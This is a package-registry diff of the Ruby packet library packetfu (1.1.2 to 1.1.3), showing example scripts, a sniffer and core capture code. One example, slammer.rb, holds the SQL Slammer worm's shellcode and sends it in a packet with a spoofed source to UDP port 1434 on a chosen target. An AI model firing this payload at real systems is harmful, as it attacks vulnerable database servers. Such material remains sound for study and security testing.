packetfu 1.1.2 → 1.1.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/.gitignore +3 -0
- data/INSTALL.rdoc +40 -0
- data/LICENSE.txt +25 -0
- data/examples/100kpackets.rb +41 -0
- data/examples/ackscan.rb +38 -0
- data/examples/arp.rb +60 -0
- data/examples/arphood.rb +59 -0
- data/examples/dissect_thinger.rb +22 -0
- data/examples/ethernet.rb +10 -0
- data/examples/examples.rb +3 -0
- data/examples/ids.rb +4 -0
- data/examples/idsv2.rb +6 -0
- data/examples/new-simple-stats.rb +52 -0
- data/examples/oui.txt +84177 -0
- data/examples/packetfu-shell.rb +113 -0
- data/examples/simple-sniffer.rb +40 -0
- data/examples/simple-stats.rb +50 -0
- data/examples/slammer.rb +33 -0
- data/examples/uniqpcap.rb +15 -0
- data/lib/packetfu.rb +147 -0
- data/lib/packetfu/capture.rb +169 -0
- data/lib/packetfu/config.rb +58 -0
- data/lib/packetfu/inject.rb +65 -0
- data/lib/packetfu/packet.rb +533 -0
- data/lib/packetfu/pcap.rb +594 -0
- data/lib/packetfu/protos/arp.rb +268 -0
- data/lib/packetfu/protos/eth.rb +296 -0
- data/lib/packetfu/protos/hsrp.rb +206 -0
- data/lib/packetfu/protos/icmp.rb +179 -0
- data/lib/packetfu/protos/invalid.rb +55 -0
- data/lib/packetfu/protos/ip.rb +378 -0
- data/lib/packetfu/protos/ipv6.rb +250 -0
- data/lib/packetfu/protos/tcp.rb +1127 -0
- data/lib/packetfu/protos/udp.rb +240 -0
- data/lib/packetfu/structfu.rb +294 -0
- data/lib/packetfu/utils.rb +194 -0
- data/lib/packetfu/version.rb +50 -0
- data/packetfu.gemspec +21 -0
- data/setup.rb +1586 -0
- data/test/all_tests.rb +41 -0
- data/test/ethpacket_spec.rb +74 -0
- data/test/packet_spec.rb +73 -0
- data/test/packet_subclasses_spec.rb +13 -0
- data/test/packetfu_spec.rb +90 -0
- data/test/ptest.rb +16 -0
- data/test/sample-ipv6.pcap +0 -0
- data/test/sample.pcap +0 -0
- data/test/sample2.pcap +0 -0
- data/test/sample_hsrp_pcapr.cap +0 -0
- data/test/structfu_spec.rb +335 -0
- data/test/tcp_spec.rb +101 -0
- data/test/test_arp.rb +135 -0
- data/test/test_eth.rb +91 -0
- data/test/test_hsrp.rb +20 -0
- data/test/test_icmp.rb +54 -0
- data/test/test_inject.rb +31 -0
- data/test/test_invalid.rb +28 -0
- data/test/test_ip.rb +69 -0
- data/test/test_ip6.rb +68 -0
- data/test/test_octets.rb +37 -0
- data/test/test_packet.rb +174 -0
- data/test/test_pcap.rb +209 -0
- data/test/test_structfu.rb +112 -0
- data/test/test_tcp.rb +327 -0
- data/test/test_udp.rb +73 -0
- data/test/vlan-pcapr.cap +0 -0
- metadata +85 -6
@@ -0,0 +1,113 @@
|
|
1
|
+
# == Synopsis
|
2
|
+
#
|
3
|
+
# packetfu-shell.rb is intended for IRB consumption, and providing an
|
4
|
+
# interactive interface for PacketFu experimentation.
|
5
|
+
#
|
6
|
+
# == Usage
|
7
|
+
#
|
8
|
+
# irb -r packetfu-shell.rb
|
9
|
+
# or
|
10
|
+
# sudo irb -r packetfu-shell.rb
|
11
|
+
#
|
12
|
+
# If run as root, packet capturing/injecting is available, which includes
|
13
|
+
# access to Utils.whoami?
|
14
|
+
#
|
15
|
+
# Once loaded, the PacketFu module is mixed in, and Utils commands are
|
16
|
+
# aliased to the PacketFu module proper. Sessions look something like
|
17
|
+
# this:
|
18
|
+
#
|
19
|
+
# == Example
|
20
|
+
#
|
21
|
+
# irb(main):001:0> pkt = TCPPacket.new
|
22
|
+
# => 00 1a c5 00 00 00 00 1a c5 00 00 00 08 00 45 00 ..............E.
|
23
|
+
# 00 28 62 9d 00 00 ff 06 59 33 00 00 00 00 00 00 .(b.....Y3......
|
24
|
+
# 00 00 d4 fb 00 00 18 c6 32 86 00 00 00 00 50 00 ........2.....P.
|
25
|
+
# 40 00 4f 9d 00 00 @.O...
|
26
|
+
# irb(main):002:0> pkt.payload="I am totally up in your stack, twiddling your bits."
|
27
|
+
# => "I am totally up in your stack, twiddling your bits."
|
28
|
+
# irb(main):003:0> pkt.ip_saddr="1.2.3.4"
|
29
|
+
# => "1.2.3.4"
|
30
|
+
# irb(main):004:0> pkt.tcp_sport=13013
|
31
|
+
# => 13013
|
32
|
+
# irb(main):005:0> pkt.tcp_dport=808
|
33
|
+
# => 808
|
34
|
+
# irb(main):006:0> pkt.recalc
|
35
|
+
# => {"eth_src"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}, "body"=>{"ip_tos"=>0, "ip_src"=>{"o1"=>1, "o2"=>2, "o3"=>3, "o4"=>4}, "body"=>{"tcp_ecn"=>{"c"=>0, "n"=>0, "e"=>0}, "tcp_dst"=>808, "tcp_win"=>16384, "body"=>"I am totally up in your stack, twiddling your bits.", "tcp_flags"=>{"fin"=>0, "psh"=>0, "syn"=>0, "rst"=>0, "ack"=>0, "urg"=>0}, "tcp_hlen"=>5, "tcp_ack"=>0, "tcp_urg"=>0, "tcp_seq"=>415642246, "tcp_sum"=>51184, "tcp_reserved"=>0, "tcp_opts"=>"", "tcp_src"=>13013}, "ip_dst"=>{"o1"=>0, "o2"=>0, "o3"=>0, "o4"=>0}, "ip_frag"=>0, "ip_proto"=>6, "ip_hl"=>5, "ip_len"=>91, "ip_sum"=>21754, "ip_id"=>25245, "ip_v"=>4, "ip_ttl"=>255}, "eth_proto"=>2048, "eth_dst"=>{"oui"=>{"local"=>0, "oui"=>6853, "b0"=>0, "b1"=>0, "b2"=>0, "multicast"=>0, "b3"=>0, "b4"=>0, "b5"=>0}, "nic"=>{"n1"=>0, "n2"=>0, "n3"=>0}}}
|
36
|
+
# irb(main):007:0> pkt.to_f('/tmp/tcp-example.pcap')
|
37
|
+
# => ["/tmp/tcp-example.pcap", 145, 1, 1220048597, 1]
|
38
|
+
# irb(main):008:0> puts pkt.inspect_hex(2)
|
39
|
+
# 32 d5 03 28 7c 50 1f 01 00 00 00 00 50 00 40 00 2..(|P......P.@.
|
40
|
+
# 77 eb 00 00 49 20 61 6d 20 74 6f 74 61 6c 6c 79 w...I am totally
|
41
|
+
# 20 75 70 20 69 6e 20 79 6f 75 72 20 73 74 61 63 up in your stac
|
42
|
+
# 6b 2c 20 74 77 69 64 64 6c 69 6e 67 20 79 6f 75 k, twiddling you
|
43
|
+
# 72 20 62 69 74 73 2e r bits.
|
44
|
+
# => nil
|
45
|
+
|
46
|
+
$: << File.expand_path(File.dirname(__FILE__) + "/../lib/")
|
47
|
+
require 'examples'
|
48
|
+
require 'packetfu'
|
49
|
+
|
50
|
+
module PacketFu
|
51
|
+
def whoami?(args={})
|
52
|
+
Utils.whoami?(args)
|
53
|
+
end
|
54
|
+
def arp(arg)
|
55
|
+
Utils.arp(arg)
|
56
|
+
end
|
57
|
+
end
|
58
|
+
|
59
|
+
include PacketFu
|
60
|
+
|
61
|
+
# Draws a picture. Includes a nunchuck, so you know that it's serious.
|
62
|
+
# I /think/ this is how you're supposed to spell it in a kana charset.
|
63
|
+
# http://jisho.org/words?jap=+%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%83%95&eng=&dict=edict
|
64
|
+
#
|
65
|
+
def packetfu_ascii_art
|
66
|
+
puts <<EOM
|
67
|
+
_______ _______ _______ _ _______ _________ _______
|
68
|
+
( ____ )( ___ )( ____ \\| \\ /\\( ____ \\\\__ __/( ____ \\|\\ /|
|
69
|
+
| ( )|| ( ) || ( \\/| \\ / /| ( \\/ ) ( | ( \\/| ) ( |
|
70
|
+
| (____)|| (___) || | | (_/ / | (__ | | | (__ | | | |
|
71
|
+
| _____)| ___ || | | _ ( | __) | | | __) | | | |
|
72
|
+
| ( | ( ) || | | ( \\ \\ | ( | | | ( | | | |
|
73
|
+
| ) | ) ( || (____/\\| / \\ \\| (____/\\ | | | ) | (___) |
|
74
|
+
|/ |/ \\|(_______/|_/ \\/(_______/ )_( |/ (_______)
|
75
|
+
____________________________ ____________________________
|
76
|
+
( ) ( )
|
77
|
+
| 01000001 00101101 01001000 )( )( )( )( )( 00101101 01000001 00100001 |
|
78
|
+
| )( )( )( )( )( |
|
79
|
+
(____________________________) (____________________________)
|
80
|
+
PacketFu
|
81
|
+
a mid-level packet manipulation library for ruby
|
82
|
+
|
83
|
+
EOM
|
84
|
+
end
|
85
|
+
|
86
|
+
@pcaprub_loaded = PacketFu.pcaprub_loaded?
|
87
|
+
# Displays a helpful banner.
|
88
|
+
def banner
|
89
|
+
packetfu_ascii_art
|
90
|
+
puts ">>> PacketFu Shell #{PacketFu.version}."
|
91
|
+
if Process.euid.zero? && @pcaprub_loaded
|
92
|
+
puts ">>> Use $packetfu_default.config for salient networking details."
|
93
|
+
print "IP: %-15s Mac: %s" % [$packetfu_default.ip_saddr, $packetfu_default.eth_saddr]
|
94
|
+
puts " Gateway: %s" % $packetfu_default.eth_daddr
|
95
|
+
print "Net: %-15s" % [Pcap.lookupnet($packetfu_default.iface)][0]
|
96
|
+
print " " * 13
|
97
|
+
puts "Iface: %s" % [($packetfu_default.iface)]
|
98
|
+
puts ">>> Packet capturing/injecting enabled."
|
99
|
+
else
|
100
|
+
print ">>> Packet capturing/injecting disabled. "
|
101
|
+
puts Process.euid.zero? ? "(no PcapRub)" : "(not root)"
|
102
|
+
end
|
103
|
+
puts "<>" * 36
|
104
|
+
end
|
105
|
+
|
106
|
+
# Silly wlan0 workaround
|
107
|
+
begin
|
108
|
+
$packetfu_default = PacketFu::Config.new(Utils.whoami?) if(@pcaprub_loaded && Process.euid.zero?)
|
109
|
+
rescue RuntimeError
|
110
|
+
$packetfu_default = PacketFu::Config.new(Utils.whoami?(:iface => 'wlan0')) if(@pcaprub_loaded && Process.euid.zero?)
|
111
|
+
end
|
112
|
+
|
113
|
+
banner
|
@@ -0,0 +1,40 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
require 'examples'
|
3
|
+
require 'packetfu'
|
4
|
+
|
5
|
+
puts "Simple sniffer for PacketFu #{PacketFu.version}"
|
6
|
+
include PacketFu
|
7
|
+
iface = ARGV[0] || "eth0"
|
8
|
+
|
9
|
+
def sniff(iface)
|
10
|
+
cap = Capture.new(:iface => iface, :start => true)
|
11
|
+
cap.stream.each do |p|
|
12
|
+
pkt = Packet.parse p
|
13
|
+
if pkt.is_ip?
|
14
|
+
next if pkt.ip_saddr == Utils.ifconfig[:ip_saddr]
|
15
|
+
packet_info = [pkt.ip_saddr, pkt.ip_daddr, pkt.size, pkt.proto.last]
|
16
|
+
puts "%-15s -> %-15s %-4d %s" % packet_info
|
17
|
+
end
|
18
|
+
end
|
19
|
+
end
|
20
|
+
|
21
|
+
sniff(iface)
|
22
|
+
|
23
|
+
=begin
|
24
|
+
Results look like this:
|
25
|
+
145.58.33.95 -> 192.168.11.70 1514 TCP
|
26
|
+
212.233.158.76 -> 192.168.11.70 110 UDP
|
27
|
+
88.174.164.147 -> 192.168.11.70 110 UDP
|
28
|
+
145.58.33.95 -> 192.168.11.70 1514 TCP
|
29
|
+
145.58.33.95 -> 192.168.11.70 1514 TCP
|
30
|
+
145.58.33.95 -> 192.168.11.70 1514 TCP
|
31
|
+
145.58.33.95 -> 192.168.11.70 1514 TCP
|
32
|
+
8.8.8.8 -> 192.168.11.70 143 UDP
|
33
|
+
41.237.73.186 -> 192.168.11.70 60 TCP
|
34
|
+
145.58.33.95 -> 192.168.11.70 1514 TCP
|
35
|
+
145.58.33.95 -> 192.168.11.70 1514 TCP
|
36
|
+
8.8.8.8 -> 192.168.11.70 143 UDP
|
37
|
+
8.8.8.8 -> 192.168.11.70 128 UDP
|
38
|
+
8.8.8.8 -> 192.168.11.70 187 UDP
|
39
|
+
24.45.247.232 -> 192.168.11.70 70 TCP
|
40
|
+
=end
|
@@ -0,0 +1,50 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
# Simple-stats.rb takes a pcap file, and gives some simple
|
4
|
+
# stastics on the protocols found. It's mainly used to
|
5
|
+
# demonstrate a method to parse pcap files.
|
6
|
+
#
|
7
|
+
# XXX: DO NOT USE THIS METHOD TO READ PCAP FILES.
|
8
|
+
#
|
9
|
+
# See new-simple-stats.rb for an example of the streaming
|
10
|
+
# parsing method.
|
11
|
+
|
12
|
+
require 'examples' # For path setting slight-of-hand
|
13
|
+
require 'packetfu'
|
14
|
+
|
15
|
+
# Takes a file name, parses the packets, and records the packet
|
16
|
+
# type based on its PacketFu class.
|
17
|
+
def count_packet_types(file)
|
18
|
+
file = File.open(file) {|f| f.read}
|
19
|
+
stats = {}
|
20
|
+
count = 0
|
21
|
+
pcapfile = PacketFu::PcapPackets.new
|
22
|
+
pcapfile.read(file)
|
23
|
+
pcapfile.each do |p|
|
24
|
+
# Now it's a PacketFu packet struct.
|
25
|
+
pkt = PacketFu::Packet.parse(p.data)
|
26
|
+
kind = pkt.class.to_s.split("::").last
|
27
|
+
if stats[kind]
|
28
|
+
stats[kind] += 1
|
29
|
+
else
|
30
|
+
stats[kind] = 0
|
31
|
+
end
|
32
|
+
count += 1
|
33
|
+
break if count >= 1_000
|
34
|
+
end
|
35
|
+
stats.each_pair { |k,v| puts "%-12s: %4d" % [k,v] }
|
36
|
+
end
|
37
|
+
|
38
|
+
if File.readable?(infile = (ARGV[0] || 'in.pcap'))
|
39
|
+
title = "Packets by packet type in '#{infile}'"
|
40
|
+
puts title
|
41
|
+
puts "-" * title.size
|
42
|
+
count_packet_types(infile)
|
43
|
+
else
|
44
|
+
raise RuntimeError, "Need an infile, like so: #{$0} in.pcap"
|
45
|
+
end
|
46
|
+
|
47
|
+
|
48
|
+
|
49
|
+
|
50
|
+
|
data/examples/slammer.rb
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
# Fires off a slammer packet to an unsuspecting target. This code does not
|
4
|
+
# break real devices! (To do that, you'll need to fix up the targetting)
|
5
|
+
target = ARGV[0]
|
6
|
+
raise RuntimeError, "Need a target" unless target
|
7
|
+
action = ARGV[1]
|
8
|
+
raise RuntimeError, "Need an action. Try file or your interface." unless action
|
9
|
+
|
10
|
+
require 'packetfu'
|
11
|
+
include PacketFu
|
12
|
+
|
13
|
+
slammer = "\004\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\334\311\260B\353\016" + "\001\001\001\001\001\001\001p\256B\001p\256B\220\220\220\220\220\220\220\220h\334\311\260B\270\001\001" + "\001\0011\311\261\030P\342\3755\001\001\001\005P\211\345Qh.dllhel32hkernQhounthickChGetTf" + "\271llQh32.dhws2_f\271etQhsockf\271toQhsend\276\030\020\256B\215E\324P\377\026P\215E\340P\215E\360P\377" + "\026P\276\020\020\256B\213\036\213\003=U\213\354Qt\005\276\034\020\256B\377\026\377\3201\311QQP\201\361" + "\003\001\004\233\201\361\001\001\001\001Q\215E\314P\213E\300P\377\026j\021j\002j\002\377\320P\215E\304P" + "\213E\300P\377\026\211\306\t\333\201\363<a\331\377\213E\264\215\f@\215\024\210\301\342\004\001\302\301" + "\342\b)\302\215\004\220\001\330\211E\264j\020\215E\260P1\311Qf\201\361x\001Q\215E\003P\213E\254P\377\326" + "\353\312"
|
14
|
+
|
15
|
+
def rand_source_ip
|
16
|
+
[rand(0xffffffff)].pack("N")
|
17
|
+
end
|
18
|
+
|
19
|
+
kill_packet = UDPPacket.new
|
20
|
+
kill_packet.eth_daddr = "00:1b:63:aa:bb:cc"
|
21
|
+
kill_packet.ip_daddr = ARGV[0]
|
22
|
+
kill_packet.ip_src.read(rand_source_ip)
|
23
|
+
kill_packet.udp_dst = 1434
|
24
|
+
kill_packet.recalc
|
25
|
+
kill_packet.payload = slammer
|
26
|
+
|
27
|
+
if action == 'file'.downcase
|
28
|
+
puts kill_packet.to_f
|
29
|
+
else
|
30
|
+
puts kill_packet.to_w(action.downcase)
|
31
|
+
end
|
32
|
+
|
33
|
+
|
@@ -0,0 +1,15 @@
|
|
1
|
+
# Uniqpcap.rb takes a pcap file, strips out duplicate packets, and
|
2
|
+
# writes them to a file.
|
3
|
+
#
|
4
|
+
# The duplicate pcap problem is common when I'm capturing
|
5
|
+
# traffic to/from a VMWare image, for some reason.
|
6
|
+
#
|
7
|
+
# Currently, the timestamp information is lost due to PcapRub's
|
8
|
+
# file read. For me, this isn't a big deal. Future versions
|
9
|
+
# will deal with timestamps correctly.
|
10
|
+
require 'examples' # For path setting slight-of-hand
|
11
|
+
require 'packetfu'
|
12
|
+
|
13
|
+
in_array = PacketFu::Read.f2a(:file => ARGV[0])
|
14
|
+
puts PacketFu::Write.a2f(:file => "uniq-" + ARGV[0], :arr => in_array.uniq).inspect
|
15
|
+
|
data/lib/packetfu.rb
ADDED
@@ -0,0 +1,147 @@
|
|
1
|
+
|
2
|
+
# :title: PacketFu Documentation
|
3
|
+
# :main: README
|
4
|
+
|
5
|
+
cwd = File.expand_path(File.dirname(__FILE__))
|
6
|
+
|
7
|
+
$: << cwd
|
8
|
+
|
9
|
+
require File.join(cwd,"packetfu","structfu")
|
10
|
+
require "ipaddr"
|
11
|
+
require 'rubygems' if RUBY_VERSION =~ /^1\.[0-8]/
|
12
|
+
|
13
|
+
module PacketFu
|
14
|
+
|
15
|
+
# Picks up all the protocols defined in the protos subdirectory
|
16
|
+
def self.require_protos(cwd)
|
17
|
+
protos_dir = File.join(cwd, "packetfu", "protos")
|
18
|
+
Dir.new(protos_dir).each do |fname|
|
19
|
+
next unless fname[/\.rb$/]
|
20
|
+
begin
|
21
|
+
require File.join(protos_dir,fname)
|
22
|
+
rescue
|
23
|
+
warn "Warning: Could not load `#{fname}'. Skipping."
|
24
|
+
end
|
25
|
+
end
|
26
|
+
end
|
27
|
+
|
28
|
+
# Deal with Ruby's encoding by ignoring it.
|
29
|
+
def self.force_binary(str)
|
30
|
+
str.force_encoding "binary" if str.respond_to? :force_encoding
|
31
|
+
end
|
32
|
+
|
33
|
+
# Sets the expected byte order for a pcap file. See PacketFu::Read.set_byte_order
|
34
|
+
@byte_order = :little
|
35
|
+
|
36
|
+
# Checks if pcaprub is loaded correctly.
|
37
|
+
@pcaprub_loaded = false
|
38
|
+
|
39
|
+
# PacketFu works best with Pcaprub version 0.8-dev (at least)
|
40
|
+
# The current (Aug 01, 2010) pcaprub gem is 0.9, so should be fine.
|
41
|
+
def self.pcaprub_platform_require
|
42
|
+
begin
|
43
|
+
require 'pcaprub'
|
44
|
+
rescue LoadError
|
45
|
+
return false
|
46
|
+
end
|
47
|
+
@pcaprub_loaded = true
|
48
|
+
end
|
49
|
+
|
50
|
+
pcaprub_platform_require
|
51
|
+
|
52
|
+
if @pcaprub_loaded
|
53
|
+
if Pcap.version !~ /[0-9]\.[7-9][0-9]?(-dev)?/ # Regex for 0.7-dev and beyond.
|
54
|
+
@pcaprub_loaded = false # Don't bother with broken versions
|
55
|
+
raise LoadError, "PcapRub not at a minimum version of 0.8-dev"
|
56
|
+
end
|
57
|
+
require "packetfu/capture"
|
58
|
+
require "packetfu/inject"
|
59
|
+
end
|
60
|
+
|
61
|
+
# Returns the status of pcaprub
|
62
|
+
def self.pcaprub_loaded?
|
63
|
+
@pcaprub_loaded
|
64
|
+
end
|
65
|
+
|
66
|
+
# Returns an array of classes defined in PacketFu
|
67
|
+
def self.classes
|
68
|
+
constants.map { |const| const_get(const) if const_get(const).kind_of? Class}.compact
|
69
|
+
end
|
70
|
+
|
71
|
+
# Adds the class to PacketFu's list of packet classes -- used in packet parsing.
|
72
|
+
def self.add_packet_class(klass)
|
73
|
+
raise "Need a class" unless klass.kind_of? Class
|
74
|
+
if klass.name !~ /[A-Za-z0-9]Packet/
|
75
|
+
raise "Packet classes should be named 'ProtoPacket'"
|
76
|
+
end
|
77
|
+
@packet_classes ||= []
|
78
|
+
@packet_classes << klass
|
79
|
+
@packet_classes.sort! {|x,y| x.name <=> y.name}
|
80
|
+
end
|
81
|
+
|
82
|
+
# Presumably, there may be a time where you'd like to remove a packet class.
|
83
|
+
def self.remove_packet_class(klass)
|
84
|
+
raise "Need a class" unless klass.kind_of? Class
|
85
|
+
@packet_classes ||= []
|
86
|
+
@packet_classes.delete klass
|
87
|
+
@packet_classes
|
88
|
+
end
|
89
|
+
|
90
|
+
# Returns an array of packet classes
|
91
|
+
def self.packet_classes
|
92
|
+
@packet_classes || []
|
93
|
+
end
|
94
|
+
|
95
|
+
# Returns an array of packet types by packet prefix.
|
96
|
+
def self.packet_prefixes
|
97
|
+
return [] unless @packet_classes
|
98
|
+
@packet_classes.map {|p| p.to_s.split("::").last.to_s.downcase.gsub(/packet$/,"")}
|
99
|
+
end
|
100
|
+
|
101
|
+
# The current inspect style. One of :hex, :dissect, or :default
|
102
|
+
# Note that :default means Ruby's default, which is usually
|
103
|
+
# far too long to be useful.
|
104
|
+
def self.inspect_style
|
105
|
+
@inspect_style ||= :dissect
|
106
|
+
end
|
107
|
+
|
108
|
+
# Setter for PacketFu's @inspect_style
|
109
|
+
def self.inspect_style=(arg)
|
110
|
+
@inspect_style = case arg
|
111
|
+
when :hex, :pretty
|
112
|
+
:hex
|
113
|
+
when :dissect, :verbose
|
114
|
+
:dissect
|
115
|
+
when :default, :ugly
|
116
|
+
:default
|
117
|
+
else
|
118
|
+
:dissect
|
119
|
+
end
|
120
|
+
end
|
121
|
+
|
122
|
+
# Switches inspect styles in a round-robin fashion between
|
123
|
+
# :dissect, :default, and :hex
|
124
|
+
def toggle_inspect
|
125
|
+
case @inspect_style
|
126
|
+
when :hex, :pretty
|
127
|
+
@inspect_style = :dissect
|
128
|
+
when :dissect, :verbose
|
129
|
+
@inspect_style = :default
|
130
|
+
when :default, :ugly
|
131
|
+
@inspect_style = :hex
|
132
|
+
else
|
133
|
+
@inspect_style = :dissect
|
134
|
+
end
|
135
|
+
end
|
136
|
+
|
137
|
+
|
138
|
+
end
|
139
|
+
|
140
|
+
require File.join(cwd,"packetfu","version")
|
141
|
+
require File.join(cwd,"packetfu","pcap")
|
142
|
+
require File.join(cwd,"packetfu","packet")
|
143
|
+
PacketFu.require_protos(cwd)
|
144
|
+
require File.join(cwd,"packetfu","utils")
|
145
|
+
require File.join(cwd,"packetfu","config")
|
146
|
+
|
147
|
+
# vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby
|
@@ -0,0 +1,169 @@
|
|
1
|
+
module PacketFu
|
2
|
+
|
3
|
+
# The Capture class is used to construct PcapRub objects in order to collect
|
4
|
+
# packets from an interface.
|
5
|
+
#
|
6
|
+
# This class requires PcapRub. In addition, you will need root (or root-like) privileges
|
7
|
+
# in order to capture from the interface.
|
8
|
+
#
|
9
|
+
# Note, on some wireless cards, setting :promisc => true will disable capturing.
|
10
|
+
#
|
11
|
+
# == Example
|
12
|
+
#
|
13
|
+
# # Typical use
|
14
|
+
# cap = PacketFu::Capture.new(:iface => 'eth0', :promisc => true)
|
15
|
+
# cap.start
|
16
|
+
# sleep 10
|
17
|
+
# cap.save
|
18
|
+
# first_packet = cap.array[0]
|
19
|
+
#
|
20
|
+
# # Tcpdump-like use
|
21
|
+
# cap = PacketFu::Capture.new(:start => true)
|
22
|
+
# cap.show_live(:save => true, :filter => 'tcp and not port 22')
|
23
|
+
#
|
24
|
+
# == See Also
|
25
|
+
#
|
26
|
+
# Read, Write
|
27
|
+
class Capture
|
28
|
+
attr_accessor :array, :stream # Leave these public and open.
|
29
|
+
attr_reader :iface, :snaplen, :promisc, :timeout # Cant change after the init.
|
30
|
+
|
31
|
+
def initialize(args={})
|
32
|
+
@array = [] # Where the packet array goes.
|
33
|
+
@stream = [] # Where the stream goes.
|
34
|
+
@iface = (args[:iface] || ENV['IFACE'] || Pcap.lookupdev || "lo").to_s
|
35
|
+
@snaplen = args[:snaplen] || 0xffff
|
36
|
+
@promisc = args[:promisc] || false # Sensible for some Intel wifi cards
|
37
|
+
@timeout = args[:timeout] || 1
|
38
|
+
|
39
|
+
setup_params(args)
|
40
|
+
end
|
41
|
+
|
42
|
+
# Used by new().
|
43
|
+
def setup_params(args={})
|
44
|
+
filter = args[:filter] # Not global; filter criteria can change.
|
45
|
+
start = args[:start] || false
|
46
|
+
capture if start
|
47
|
+
bpf(:filter=>filter) if filter
|
48
|
+
end
|
49
|
+
|
50
|
+
# capture() initializes the @stream varaible. Valid arguments are:
|
51
|
+
#
|
52
|
+
# :filter
|
53
|
+
# Provide a bpf filter to enable for the capture. For example, 'ip and not tcp'
|
54
|
+
# :start
|
55
|
+
# When true, start capturing packets to the @stream variable. Defaults to true
|
56
|
+
def capture(args={})
|
57
|
+
if Process.euid.zero?
|
58
|
+
filter = args[:filter]
|
59
|
+
start = args[:start] || true
|
60
|
+
if start
|
61
|
+
begin
|
62
|
+
@stream = Pcap.open_live(@iface,@snaplen,@promisc,@timeout)
|
63
|
+
rescue RuntimeError
|
64
|
+
$stderr.print "Are you sure you're root? Error: "
|
65
|
+
raise
|
66
|
+
end
|
67
|
+
bpf(:filter=>filter) if filter
|
68
|
+
else
|
69
|
+
@stream = []
|
70
|
+
end
|
71
|
+
@stream
|
72
|
+
else
|
73
|
+
raise RuntimeError,"Not root, so can't capture packets. Error: "
|
74
|
+
end
|
75
|
+
end
|
76
|
+
|
77
|
+
# start() is equivalent to capture().
|
78
|
+
def start(args={})
|
79
|
+
capture(args)
|
80
|
+
end
|
81
|
+
|
82
|
+
# clear() clears the @stream and @array variables, essentially starting the
|
83
|
+
# capture session over. Valid arguments are:
|
84
|
+
#
|
85
|
+
# :array
|
86
|
+
# If true, the @array is cleared.
|
87
|
+
# :stream
|
88
|
+
# If true, the @stream is cleared.
|
89
|
+
def clear(args={})
|
90
|
+
array = args[:array] || true
|
91
|
+
stream = args[:stream] || true
|
92
|
+
@array = [] if array
|
93
|
+
@stream = [] if stream
|
94
|
+
end
|
95
|
+
|
96
|
+
# bpf() sets a bpf filter on a capture session. Valid arugments are:
|
97
|
+
#
|
98
|
+
# :filter
|
99
|
+
# Provide a bpf filter to enable for the capture. For example, 'ip and not tcp'
|
100
|
+
def bpf(args={})
|
101
|
+
filter = args[:filter]
|
102
|
+
capture if @stream.class == Array
|
103
|
+
@stream.setfilter(filter)
|
104
|
+
end
|
105
|
+
|
106
|
+
# wire_to_array() saves a packet stream as an array of binary strings. From here,
|
107
|
+
# packets may accessed by other functions. Note that the wire_to_array empties
|
108
|
+
# the stream, so multiple calls will append new packets to @array.
|
109
|
+
# Valid arguments are:
|
110
|
+
#
|
111
|
+
# :filter
|
112
|
+
# Provide a bpf filter to apply to packets moving from @stream to @array.
|
113
|
+
def wire_to_array(args={})
|
114
|
+
filter = args[:filter]
|
115
|
+
bpf(:filter=>filter) if filter
|
116
|
+
|
117
|
+
while this_pkt = @stream.next
|
118
|
+
@array << this_pkt
|
119
|
+
end
|
120
|
+
@array.size
|
121
|
+
end
|
122
|
+
|
123
|
+
# next() exposes the Stream object's next method to the outside world.
|
124
|
+
def next
|
125
|
+
return @stream.next
|
126
|
+
end
|
127
|
+
|
128
|
+
# w2a() is a equivalent to wire_to_array()
|
129
|
+
def w2a(args={})
|
130
|
+
wire_to_array(args)
|
131
|
+
end
|
132
|
+
|
133
|
+
# save() is a equivalent to wire_to_array()
|
134
|
+
def save(args={})
|
135
|
+
wire_to_array(args)
|
136
|
+
end
|
137
|
+
|
138
|
+
# show_live() is a method to capture packets and display peek() data to stdout. Valid arguments are:
|
139
|
+
#
|
140
|
+
# :filter
|
141
|
+
# Provide a bpf filter to captured packets.
|
142
|
+
# :save
|
143
|
+
# Save the capture in @array
|
144
|
+
# :verbose
|
145
|
+
# TODO: Not implemented yet; do more than just peek() at the packets.
|
146
|
+
# :quiet
|
147
|
+
# TODO: Not implemented yet; do less than peek() at the packets.
|
148
|
+
def show_live(args={})
|
149
|
+
filter = args[:filter]
|
150
|
+
save = args[:save]
|
151
|
+
verbose = args[:verbose] || args[:v] || false
|
152
|
+
quiet = args[:quiet] || args[:q] || false # Setting q and v doesn't make a lot of sense but hey.
|
153
|
+
|
154
|
+
# Ensure the capture's started.
|
155
|
+
if @stream.class == Array
|
156
|
+
capture
|
157
|
+
end
|
158
|
+
|
159
|
+
@stream.setfilter(filter) if filter
|
160
|
+
while true
|
161
|
+
@stream.each do |pkt|
|
162
|
+
puts Packet.parse(pkt).peek
|
163
|
+
@array << pkt if args[:save]
|
164
|
+
end
|
165
|
+
end
|
166
|
+
end
|
167
|
+
|
168
|
+
end
|
169
|
+
end
|